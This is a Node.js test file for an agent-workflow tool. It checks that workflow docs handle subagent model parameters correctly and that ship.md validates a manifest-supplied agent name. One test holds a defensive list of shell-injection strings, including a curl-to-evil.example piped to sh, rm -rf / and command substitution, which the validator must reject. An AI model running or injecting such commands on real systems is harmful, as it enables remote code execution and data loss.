msd-core/tests/model-omit-when-inherit-guard.test.cjs

// allow-test-rule: structural-regression-guard see #2517
// allow-test-rule: source-text-is-the-product see #2684
// Guards the omit-when-inherit fix: workflow orchestrators must instruct the agent to
// OMIT the model= param from Agent() calls when the *_model var is "inherit" or empty.
// Without it, model="" is passed verbatim and 404s on non-Claude runtimes
// (resolve_model_ids:"omit" + model_profile:"inherit" -> empty model string).
// execute-phase had the fix; plan-phase was missing it (#2517); scan/ship dispatched with
// a placeholder their own init payload never emits at all (#2684).
'use strict';

const { test } = require('node:test');
const assert = require('node:assert/strict');
const fs = require('node:fs');
const path = require('node:path');
const fc = require('./helpers/fast-check-setup.cjs');
const { runGsdTools, createTempProject, cleanup, readWorkflowCombined } = require('./helpers.cjs');
const { escapeRegex } = require('../gsd-core/bin/lib/pattern.cjs');

const ROOT = path.resolve(__dirname, '..');
const WORKFLOWS = path.join(ROOT, 'gsd-core', 'workflows');

/**
 * Does this body state the omit rule? The rule is "omit the model= param when the
 * bound *_model is inherit/empty", so require `omit` adjacent to `model=` AND the
 * word `inherit`. Deliberately a PROPERTY check, not a fixed template string:
 * plan-phase.md and execute-phase.md each state it in their own wording and both
 * are correct.
 */
const OMIT_RULE_MARKER = "<!-- #2517 model-omit-on-inherit -->";

function statesOmitRule(content) {
  // Canonical form: the marker block, which links the rule's single source of truth.
  // Preferred for new files because it is unambiguous and greppable, and because it
  // carries no literal `model=` token — the installed Hermes copy of a workflow is
  // asserted to contain none outside string literals (delegate_task has no per-call
  // model parameter at all), so the older phrasing cannot be used everywhere.
  if (content.includes(OMIT_RULE_MARKER)) return true;
  // Legacy form: the rule stated inline in the file's own words. All four files that
  // predate the marker (plan-phase, execute-phase, scan, ship) match this branch, and
  // rewriting them to a template would churn correct files for no behavioral gain.
  const omitNearModel = /omit[\s\S]{0,200}model=|model=[\s\S]{0,200}omit/i.test(content);
  return omitNearModel && /inherit/i.test(content);
}

/**
 * #2711 — the guarded set is DERIVED from the corpus: every workflow that emits a
 * `model="{…}"` dispatch site must carry the rule.
 *
 * This replaces a hand-maintained array. That array was a Goodhart metric — it
 * reported green across 15 non-compliant files for no better reason than that
 * nobody had added them to it. Deriving the set is what makes a 16th file
 * impossible to add silently.
 *
 * #2994: `content` is read via `readWorkflowCombined` (host + its
 * `workflows/<wf>/steps/*.md` fragments), not the bare host file. The
 * fragment model can move a workflow's own omit-rule prose (e.g.
 * quick.md's rule lives in `quick/steps/research-phase.md` behind a
 * `<!-- gsd:section -->` stub) out of the host without moving its
 * `model="{…}"` dispatch site, so a host-only read would report a
 * false positive for a workflow that still documents the rule.
 */
function workflowsThatDispatchWithAModel() {
  return fs
    .readdirSync(WORKFLOWS)
    .filter((f) => f.endsWith('.md'))
    .map((f) => ({ file: f, content: readWorkflowCombined(path.join(WORKFLOWS, f)) }))
    .filter((w) => /model="\{/.test(w.content));
}

test('#2517: every workflow that dispatches model= documents omitting it on inherit/empty', () => {
  const dispatching = workflowsThatDispatchWithAModel();

  // Non-vacuity: an empty or truncated derivation is not a passing guard.
  assert.ok(
    dispatching.length >= 19,
    `expected >=19 model=-dispatching workflows, derived ${dispatching.length} — ` +
      'the derivation itself is broken, so this guard proves nothing.',
  );

  // Report ALL offenders in one message rather than stopping at the first, so a
  // sweep can be completed in a single pass.
  const missing = dispatching.filter((w) => !statesOmitRule(w.content)).map((w) => w.file);
  assert.deepEqual(
    missing,
    [],
    `these workflows dispatch model="{…}" but never tell the orchestrator to OMIT the ` +
      `model= param when the bound *_model is "inherit" or empty (#2517/#2711):\n  ` +
      `${missing.join('\n  ')}\n` +
      'Without the rule, model="" is passed verbatim and 404s on every runtime lacking ' +
      'native tier aliases — which is the DEFAULT state on non-Claude runtimes, where ' +
      'the installer writes resolve_model_ids:"omit". See ' +
      'gsd-core/references/model-profile-resolution.md.',
  );
});

test('#2711: the guarded set is derived from dispatch sites, not hand-maintained', () => {
  const derived = workflowsThatDispatchWithAModel().map((w) => w.file);

  // limit: a workflow with exactly one dispatch site is still guarded.
  assert.ok(derived.includes('audit-milestone.md'), 'a single-site workflow must be derived in');
  // limit+1: a many-site workflow appears once, not once per site.
  assert.equal(
    derived.filter((f) => f === 'docs-update.md').length,
    1,
    'a workflow with 10 dispatch sites must be derived exactly once',
  );
  // limit-1: a workflow that never emits model= must NOT be dragged in.
  const nonDispatching = fs
    .readdirSync(WORKFLOWS)
    .filter((f) => f.endsWith('.md') && !/model="\{/.test(fs.readFileSync(path.join(WORKFLOWS, f), 'utf8')));
  assert.ok(nonDispatching.length > 0, 'expected some workflows to dispatch no model= at all');
  for (const f of nonDispatching) {
    assert.ok(!derived.includes(f), `${f} emits no model= and must not be required to carry the rule`);
  }
});

test('#2711: detects a dispatching workflow that lacks the rule', () => {
  const site = 'Agent(subagent_type="gsd-planner", model="{planner_model}")';

  assert.equal(statesOmitRule(`# doc\n${site}\n`), false, 'a bare dispatch site must be reported');

  // plan-phase.md's own wording — the guard checks the property, not a template.
  const planPhaseWording =
    '**#2517:** omit the `model=` param from an `Agent()` call when its ' +
    '`researcher`/`planner`/`checker`_model is `"inherit"` or empty.';
  assert.equal(statesOmitRule(`# doc\n${planPhaseWording}\n${site}\n`), true);

  // execute-phase.md's differently-worded copy must also satisfy it.
  const executePhaseWording =
    '**Model resolution:** If `executor_model` is `"inherit"`, omit the `model=` ' +
    'parameter from all `Agent()` calls.';
  assert.equal(statesOmitRule(`# doc\n${executePhaseWording}\n${site}\n`), true);

  // "omit" alone, with no mention of inherit, is not the rule.
  assert.equal(statesOmitRule(`# doc\nomit the \`model=\` param sometimes.\n${site}\n`), false);
});

test('#2711: rule detection is CRLF-safe', () => {
  const body = [
    '# doc',
    '**#2517:** omit the `model=` param when the bound `planner_model` is `"inherit"` or empty.',
    'Agent(subagent_type="gsd-planner", model="{planner_model}")',
    '',
  ];
  assert.equal(statesOmitRule(body.join('\n')), true);
  assert.equal(
    statesOmitRule(body.join('\r\n')),
    statesOmitRule(body.join('\n')),
    'CRLF input must yield the same verdict as LF (recurring class: #1658/#1668/#2206/#2449/#2450)',
  );
});

// ---------------------------------------------------------------------------
// #2684 — placeholder binding.
//
// A dispatch site may only substitute a field its OWN workflow binds. Three
// binding sources, any one sufficient:
//   (a) a shell assignment in the same file:  NAME=$(gsd_run query resolve-model …)
//   (b) a key actually emitted by an init surface the file queries (invoked for real)
//   (c) the file's declared parse list ("Parse JSON for:" / "Extract from init JSON:")
// ---------------------------------------------------------------------------

/** All `model="{X}"` placeholder names in a workflow body. */
function extractModelPlaceholders(content) {
  return [...content.matchAll(/model="\{([A-Za-z0-9_]+)\}"/g)].map((m) => m[1]);
}

/** `NAME=$(...)` shell assignments. `^`/`$` under /m are CRLF-safe; \s absorbs the \r. */
function shellAssignedNames(content) {
  return new Set([...content.matchAll(/^[ \t]*([A-Za-z0-9_]+)=\$\(/gm)].map((m) => m[1]));
}

/** Init surfaces the file queries: both `init.<name>` and the `<name>-init` spelling. */
function queriedInitSurfaces(content) {
  const dotted = [...content.matchAll(/query\s+(init\.[a-z0-9-]+)/g)].map((m) => m[1]);
  const suffixed = [...content.matchAll(/query\s+([a-z0-9-]+-init)\b/g)].map((m) => m[1]);
  return [...new Set([...dotted, ...suffixed])];
}

/** Names listed on a declared parse line. */
function declaredParseNames(content) {
  const names = new Set();
  const lines = /^.*(?:Parse JSON for|Parse from init JSON|Extract from init JSON).*$/gim;
  for (const line of content.match(lines) || []) {
    for (const m of line.matchAll(/`([A-Za-z0-9_]+)`/g)) names.add(m[1]);
  }
  // Multi-line declarations render the fields as a bullet list under the heading.
  const bulleted = content.matchAll(
    /(?:Parse JSON for|Parse from init JSON|Extract from init JSON)[^\n]*\n((?:[ \t]*[-*][^\n]*\n)+)/gi,
  );
  for (const m of bulleted) {
    for (const b of m[1].matchAll(/`([A-Za-z0-9_]+)`/g)) names.add(b[1]);
  }
  return names;
}

const _initKeyCache = new Map();
/** Real payload keys for an init surface, or null when it needs args we cannot supply. */
function initPayloadKeys(surface) {
  if (_initKeyCache.has(surface)) return _initKeyCache.get(surface);
  let keys = null;
  const res = runGsdTools(['query', surface], ROOT);
  if (res.success) {
    try {
      keys = new Set(Object.keys(JSON.parse(res.output)));
    } catch {
      keys = null; // non-JSON payload — inconclusive, not proof of absence.
    }
  }
  // A null here means the surface needs an argument we cannot supply (e.g. a
  // phase number). Inconclusive, NOT proof the field is absent — the caller
  // still has the declared-parse-list and shell-assignment binding sources.
  _initKeyCache.set(surface, keys);
  return keys;
}

/** Unbound `model="{X}"` names in one workflow body. */
function unboundModelPlaceholders(content, resolveInit = initPayloadKeys) {
  const placeholders = new Set(extractModelPlaceholders(content));
  if (placeholders.size === 0) return [];
  const bound = new Set([...shellAssignedNames(content), ...declaredParseNames(content)]);
  for (const surface of queriedInitSurfaces(content)) {
    const keys = resolveInit(surface);
    if (keys) for (const k of keys) bound.add(k);
  }
  return [...placeholders].filter((p) => !bound.has(p));
}

test('#2684: every model="{…}" placeholder resolves to a field its own workflow binds', () => {
  const files = fs.readdirSync(WORKFLOWS).filter((f) => f.endsWith('.md'));
  const findings = [];
  let scanned = 0;
  let placeholders = 0;

  for (const file of files) {
    const content = fs.readFileSync(path.join(WORKFLOWS, file), 'utf8');
    const found = extractModelPlaceholders(content);
    if (found.length === 0) continue;
    scanned += 1;
    placeholders += found.length;
    for (const name of unboundModelPlaceholders(content)) {
      findings.push(`${file}: model="{${name}}" — no init payload key, shell assignment, or ` +
        `declared parse field of that name. The substitution has no source, so the ` +
        `orchestrator invents a value (#2684, ADR-1411).`);
    }
  }

  // Non-vacuity: a glob that silently stops matching must fail, not pass.
  assert.ok(scanned >= 10, `expected to scan >=10 dispatching workflows, scanned ${scanned}`);
  assert.ok(placeholders >= 20, `expected >=20 model= placeholders, found ${placeholders}`);
  assert.deepEqual(findings, [], `unbound model= placeholders:\n  ${findings.join('\n  ')}`);
});

test('#2684: detects an unbound placeholder in a synthetic workflow', () => {
  const noInit = () => null;

  // limit-1 — zero placeholders.
  assert.deepEqual(unboundModelPlaceholders('# doc\nno dispatch here\n', noInit), []);

  // limit — exactly one, unbound.
  const one = '# doc\nAgent(subagent_type="x", model="{ghost_model}")\n';
  assert.deepEqual(unboundModelPlaceholders(one, noInit), ['ghost_model']);

  // limit+1 — two unbound alongside one bound; only the unbound are reported.
  const many = [
    '# doc',
    'REAL_MODEL=$(gsd_run query resolve-model gsd-planner --raw)',
    'Agent(subagent_type="a", model="{REAL_MODEL}")',
    'Agent(subagent_type="b", model="{ghost_one}")',
    'Agent(subagent_type="c", model="{ghost_two}")',
    '',
  ].join('\n');
  assert.deepEqual(unboundModelPlaceholders(many, noInit), ['ghost_one', 'ghost_two']);
});

test('#2684: binding detection is CRLF-safe', () => {
  const noInit = () => null;
  const body = [
    '# doc',
    'BOUND_MODEL=$(gsd_run query resolve-model gsd-planner --raw)',
    'Parse JSON for: `declared_model`.',
    'Agent(subagent_type="a", model="{BOUND_MODEL}")',
    'Agent(subagent_type="b", model="{declared_model}")',
    'Agent(subagent_type="c", model="{ghost_model}")',
    '',
  ];
  const lf = body.join('\n');
  const crlf = body.join('\r\n');
  assert.deepEqual(unboundModelPlaceholders(lf, noInit), ['ghost_model']);
  assert.deepEqual(
    unboundModelPlaceholders(crlf, noInit),
    unboundModelPlaceholders(lf, noInit),
    'CRLF input must yield the same findings as LF — a hardcoded \\n strands the \\r ' +
      'and turns a bound name unbound (recurring class: #1658/#1668/#2206/#2449/#2450).',
  );
});

test('#2684: placeholder extraction round-trips (property)', () => {
  const ident = fc.stringMatching(/^[A-Za-z_][A-Za-z0-9_]{0,20}$/);
  fc.assert(
    fc.property(fc.array(ident, { minLength: 1, maxLength: 12 }), (names) => {
      const rendered = names.map((n) => `Agent(subagent_type="x", model="{${n}}")`).join('\n');
      assert.deepEqual(extractModelPlaceholders(rendered), names);
    }),
    { numRuns: 200 },
  );
});

test('#2684: the model-profile reference does not instruct emitting an inherit/empty model=', () => {
  const rel = 'gsd-core/references/model-profile-resolution.md';
  const content = fs.readFileSync(path.join(ROOT, rel), 'utf8');

  assert.ok(
    !/model="inherit"/.test(content),
    `${rel}: must not instruct passing model="inherit" — #2517 established that an ` +
      `inherit/empty model 404s on non-Claude runtimes and must be OMITTED instead. ` +
      `This shipped reference is copied into workflows verbatim.`,
  );
  assert.ok(
    !/model="\{resolved_model\}"/.test(content),
    `${rel}: must not ship a copy-pasteable model="{resolved_model}" — no init payload ` +
      `emits that field, and this snippet is exactly what scan.md inherited (#2684).`,
  );
  assert.ok(
    /omit/i.test(content),
    `${rel}: must state the #2517 omit-on-inherit/empty rule, since it is the document ` +
      `workflow authors copy their dispatch block from.`,
  );
});

test('#2684: ship.md validates capability-supplied ref.agent before it reaches a shell', () => {
  const content = fs.readFileSync(path.join(WORKFLOWS, 'ship.md'), 'utf8');

  // `ref.agent` comes from a capability manifest, which may be third-party. The
  // #2684 fix is the first place that value reaches a shell command, so the
  // workflow must constrain its shape BEFORE substituting it.
  //
  // The check must be performed in-context, not in the shell: the orchestrator
  // substitutes the raw value textually, so a shell-side test would run only
  // AFTER a payload like `x"; id; echo "` had already closed the assignment and
  // executed. Assert the workflow states the in-context ordering explicitly.
  // eslint-disable-next-line local/no-unbounded-quantifier -- parses maintainer-authored ship.md workflow, bounded prose, not adversarial input
  const gate = /`(\^\[A-Za-z0-9\]\[[^`]*\]\*\$)`/.exec(content);
  assert.ok(
    gate,
    'ship.md must publish the shape `ref.agent` has to match before it is used ' +
      '— a capability manifest is not trusted input.',
  );
  assert.match(
    content,
    /IN-CONTEXT, before any shell use/i,
    'ship.md must require the ref.agent check to run in-context BEFORE any shell ' +
      'use. A shell-side check runs after the injection point and protects nothing.',
  );
  assert.doesNotMatch(
    content,
    /HOOK_AGENT="/,
    'ship.md must not assign the raw ref.agent value into a shell variable — that ' +
      'assignment IS the injection point (#2684 isolated review).',
  );

  const shape = new RegExp(gate[1]);

  // Legitimate agent names the capability system actually dispatches.
  for (const ok of ['gsd-mempalace-curator', 'gsd-code-reviewer', 'my.agent_v2', 'a']) {
    assert.ok(shape.test(ok), `validation gate must accept the real agent name ${ok}`);
  }

  // Shell-injection shapes a hostile or corrupted manifest could supply. Each
  // must be rejected, so the hook is skipped rather than executed.
  const hostile = [
    'x"; curl http://evil.example/p | sh; #',
    'x$(id)',
    'x`id`',
    'x; rm -rf /',
    'x && whoami',
    'x | tee /etc/passwd',
    'x\nrm -rf /',
    '$IFS',
    '../../etc/passwd',
    '',
  ];
  for (const bad of hostile) {
    assert.equal(
      shape.test(bad),
      false,
      `validation gate must REJECT ${JSON.stringify(bad)} — it would otherwise be ` +
        'interpolated into a shell command built from a capability manifest.',
    );
  }
});

test('#2684: an unknown agent type resolves to an empty model, so dispatch must omit', () => {
  // Hermetic: a throwaway project whose config explicitly sets resolve_model_ids:"omit".
  // ship.md dispatches `ref.agent` — an arbitrary capability-supplied agent name that need
  // not be in MODEL_PROFILES. This pins that such a name resolves to the EMPTY string, so
  // the consumer must omit `model=` rather than emit `model=""` (the #2517 404).
  const dir = createTempProject('gsd-2684-');
  try {
    fs.writeFileSync(
      path.join(dir, '.planning', 'config.json'),
      JSON.stringify({ model_profile: 'balanced', resolve_model_ids: 'omit', runtime: 'claude' }),
    );
    const res = runGsdTools(['query', 'resolve-model', 'not-a-real-agent'], dir);
    assert.ok(res.success, `resolve-model failed (exit ${res.exitCode}): ${res.error}`);
    const parsed = JSON.parse(res.output);
    assert.equal(parsed.unknown_agent, true, 'an agent absent from MODEL_PROFILES must be flagged');
    assert.equal(
      parsed.model,
      '',
      'an unknown agent under resolve_model_ids:"omit" must resolve to the EMPTY string — ' +
        'the resolver is correct to refuse to invent a tier, which is precisely why the ' +
        'ship.md dispatch has to omit model= instead of substituting (#2684 / #2517).',
    );
  } finally {
    cleanup(dir);
  }
});

// ---------------------------------------------------------------------------
// #3602 — every spawned gsd-* subagent gets a model resolution.
//
// ingest-docs.md and import.md spawned their agents with ZERO model bindings,
// so every spawn silently inherited the caller's model regardless of
// dynamic_routing/model_profile config. audit-fix.md and diagnose-issues.md
// had the same defect; the issue's per-file grep audit missed them because
// their spawns are dispatch-shaped, not file-level greppable. This guard
// re-derives the audit from the corpus so a fifth file cannot join silently.
//
// An agent type is covered when the workflow either (a) resolves it directly —
// a `resolve-model <agent>` call appears in the file — or (b) dispatches with
// a `model=…` reference that is bound by one of the #2684 sources (shell
// assignment, declared parse field, or a key of an init surface the file
// queries). Route (b) cannot see WHICH agent a `planner_model`-style field
// answers — that mapping is conventional, not textual — so it covers the
// file's spawns as a group; that is the same altitude the issue's own audit
// operated at, and it is what lets this guard adopt without touching the
// ~20 compliant init-route workflows.
//
// Documented residuals (isolated adversarial review, #3602 PR):
// - Group coverage means a file binding ONE agent's model could later gain a
//   SECOND, unbound spawn and still pass. Direct per-agent resolution (route a)
//   is what this PR shipped for every file it touched; a per-site guard would
//   need delimited Agent-block parsing the corpus's prose spawns don't have.
// - The prose collector misses "Delegate to `gsd-x`", "Invoke the gsd-x agent",
//   and mid-sentence "then spawn `gsd-x`" shapes; every live instance of those
//   today is also collected via a dispatch shape in the same combined body.
// - readWorkflowCombined inlines only <wf>/steps/ fragments, so dispatches in
//   e.g. discuss-phase/modes/*.md are invisible here (all currently compliant).
// ---------------------------------------------------------------------------

/** Init-surface resolver for synthetic bodies: no surfaces, so binding must come
 * from the text sources (shell assignment / parse line) alone. */
const noInit = () => null;

/** gsd-* agent types this workflow spawns, by any spawn shape the corpus uses.
 *
 * The prose shape collects an instruction ("spawn `gsd-x` in parallel",
 * "**Spawn gsd-user-profiler agent using Task tool:**") but not a description of
 * what a NESTED workflow does — plan-review-convergence.md runs plan-phase inline
 * and its "inline plan-phase can spawn gsd-planner / plan-phase spawn gsd-planner"
 * mentions describe plan-phase's dispatches, whose bindings live in plan-phase.md.
 * Discriminator: a descriptive continuation is always preceded by a lowercase word
 * ("it can spawn", "phase spawn"); an instruction follows a comma, `**`, punctuation,
 * or line start. Mid-sentence imperatives ("then spawn `gsd-x`") are a known
 * under-collection — the dispatch shape remains the primary collector.
 */
function spawnedAgentTypes(content) {
  const dispatchShaped = [...content.matchAll(/subagent_type[=:]\s*"?(gsd-[a-z0-9-]+)"?/g)].map((m) => m[1]);
  const proseShaped = [
    ...content.matchAll(/(?<![a-z] )\bspawn(?:s|ing)?\s+`?(gsd-[a-z0-9-]+)/gi),
  ].map((m) => m[1]);
  return [...new Set([...dispatchShaped, ...proseShaped])];
}

/** Names referenced as `model=…` at dispatch sites: `"{X}"`, bare `X`, quoted `"X"`. */
function modelRefNames(content) {
  const braced = [...content.matchAll(/model="\{([A-Za-z0-9_]+)\}"/g)].map((m) => m[1]);
  // Bare/unquoted form (execute-plan.md: `model=executor_model`). A leading quote
  // deliberately does not match here, so `model="haiku"` is not treated as a
  // binding reference — a literal tier is a value, not a resolution.
  const bare = [...content.matchAll(/model=([A-Za-z_][A-Za-z0-9_]*)/g)].map((m) => m[1]);
  return [...new Set([...braced, ...bare])];
}

/** Every name the #2684 machinery treats as a binding source, for one body. */
function boundModelNames(content, resolveInit = initPayloadKeys) {
  const bound = new Set([...shellAssignedNames(content), ...declaredParseNames(content)]);
  for (const surface of queriedInitSurfaces(content)) {
    const keys = resolveInit(surface);
    if (keys) for (const k of keys) bound.add(k);
  }
  return bound;
}

/** Uncovered spawns in one body: `gsd-x` agent types with no resolution behind them. */
function uncoveredSpawnedAgents(content, resolveInit = initPayloadKeys) {
  const agents = spawnedAgentTypes(content);
  if (agents.length === 0) return [];
  const bound = boundModelNames(content, resolveInit);
  // A file that binds any *_model name (shell assignment, parse line, or init payload
  // key) carries model resolution even when its dispatch sites live in an inline child
  // workflow — plan-review-convergence.md parses planner_model/checker_model and runs
  // plan-phase inline; plan-phase.md owns the model= sites.
  const fileCarriesModelResolution =
    modelRefNames(content).some((n) => bound.has(n)) || [...bound].some((n) => /_model$/i.test(n));
  return agents.filter((a) => {
    const direct = new RegExp(`resolve-model\\s+["'\`]?${escapeRegex(a)}["'\`]?`).test(content);
    return !(direct || fileCarriesModelResolution);
  });
}

test('#3602: every workflow that spawns a gsd-* subagent resolves a model for it', () => {
  const findings = [];
  let spawningFiles = 0;
  let coveredSpawns = 0;

  for (const file of fs.readdirSync(WORKFLOWS).filter((f) => f.endsWith('.md'))) {
    const content = readWorkflowCombined(path.join(WORKFLOWS, file));
    const agents = spawnedAgentTypes(content);
    if (agents.length === 0) continue;
    spawningFiles += 1;
    const uncovered = uncoveredSpawnedAgents(content);
    coveredSpawns += agents.length - uncovered.length;
    for (const a of uncovered) {
      findings.push(
        `${file}: spawns ${a} with no model resolution — neither a \`resolve-model ${a}\` ` +
        `binding nor a bound model= reference (#3602). The spawn silently inherits the ` +
        `caller's model, ignoring dynamic_routing/model_profile.`,
      );
    }
  }

  // Non-vacuity: a spawn-collector that silently stops matching must fail, not pass.
  assert.ok(
    spawningFiles >= 20,
    `expected >=20 spawning workflows, derived ${spawningFiles} — the derivation itself ` +
      'is broken, so this guard proves nothing.',
  );
  assert.ok(
    coveredSpawns >= 30,
    `expected >=30 covered spawns, derived ${coveredSpawns} — the derivation itself ` +
      'is broken, so this guard proves nothing.',
  );
  assert.deepEqual(findings, [], `spawns with no model resolution:\n  ${findings.join('\n  ')}`);
});

test('#3602: prose mentions that are not spawns are not flagged', () => {
  const body = [
    '## Anti-Patterns',
    '',
    '- Use `gsd-plan-checker` and `gsd-planner` — never the pbr ones',
    '- Valid types: gsd-debugger — investigates bugs',
    '',
  ].join('\n');
  assert.deepEqual(
    uncoveredSpawnedAgents(body, noInit),
    [],
    'an anti-pattern mention and a type listing are not spawns — flagging them is a false positive',
  );

  // Counter-case: the same agent name preceded by a spawn verb IS collected.
  const spawnProse = 'For each doc, spawn `gsd-doc-classifier` in parallel.\n';
  assert.deepEqual(
    uncoveredSpawnedAgents(spawnProse, noInit),
    ['gsd-doc-classifier'],
    'a prose spawn with no binding behind it must be reported — that is the #3602 shape',
  );
});

test('#3602: a literal model= value is not a binding', () => {
  const literal = [
    'Agent(',
    '  prompt="fix it",',
    '  subagent_type="gsd-executor",',
    '  model="haiku"',
    ')',
    '',
  ].join('\n');
  assert.deepEqual(
    uncoveredSpawnedAgents(literal, noInit),
    ['gsd-executor'],
    'model="haiku" hardcodes a tier — it is a value, not a resolution, and must not count as coverage',
  );

  const bound = [
    'EXECUTOR_MODEL=$(gsd_run query resolve-model gsd-executor --raw)',
    'Agent(',
    '  prompt="fix it",',
    '  subagent_type="gsd-executor",',
    '  model="{EXECUTOR_MODEL}"',
    ')',
    '',
  ].join('\n');
  assert.deepEqual(
    uncoveredSpawnedAgents(bound, noInit),
    [],
    'a shell-assigned resolve-model binding referenced at the dispatch site is coverage',
  );

  const bareForm = 'Parse from init JSON: `executor_model`.\nAgent(subagent_type="gsd-executor", model=executor_model)\n';
  assert.deepEqual(
    uncoveredSpawnedAgents(bareForm, noInit),
    [],
    'the bare model=executor_model notation (execute-plan.md) counts when the name is parse-declared',
  );
});

test('#3602: spawn-site extraction round-trips (property)', () => {
  const name = fc.stringMatching(/^gsd-[a-z0-9]{1,18}$/);
  fc.assert(
    fc.property(fc.array(name, { minLength: 1, maxLength: 10 }), (names) => {
      const distinct = [...new Set(names)];
      const render = (n) =>
        n === names[0]
          ? `spawn \`${n}\` in parallel` // prose shape
          : `subagent_type: "${n}"`; // dispatch shape
      const body = names.map(render).join('\n');
      assert.deepEqual([...spawnedAgentTypes(body)].sort(), [...distinct].sort());
    }),
    { numRuns: 200 },
  );
});

test('#3602: spawn coverage detection is CRLF-safe', () => {

  const unbound = [
    'For each doc, spawn `gsd-doc-classifier` in parallel.',
    'Agent(subagent_type="gsd-doc-synthesizer")',
    '',
  ].join('\n');
  const unboundLf = uncoveredSpawnedAgents(unbound, noInit);
  assert.deepEqual(
    [...unboundLf].sort(),
    ['gsd-doc-classifier', 'gsd-doc-synthesizer'],
    'with no binding anywhere in the file, both spawn shapes are uncovered',
  );
  assert.deepEqual(
    uncoveredSpawnedAgents(unbound.replace(/\n/g, '\r\n'), noInit),
    unboundLf,
    'CRLF input must yield the same verdicts as LF (recurring class: #1658/#1668/#2206/#2449/#2450)',
  );

  const bound = [
    'CLASSIFIER_MODEL=$(gsd_run query resolve-model gsd-doc-classifier --raw)',
    'Agent(subagent_type="gsd-doc-synthesizer", model="{CLASSIFIER_MODEL}")',
    '',
  ].join('\n');
  const boundLf = uncoveredSpawnedAgents(bound, noInit);
  assert.deepEqual(boundLf, [], 'a file-level binding covers the file\'s spawns as a group');
  assert.deepEqual(
    uncoveredSpawnedAgents(bound.replace(/\n/g, '\r\n'), noInit),
    boundLf,
    'CRLF input must yield the same verdicts as LF',
  );
});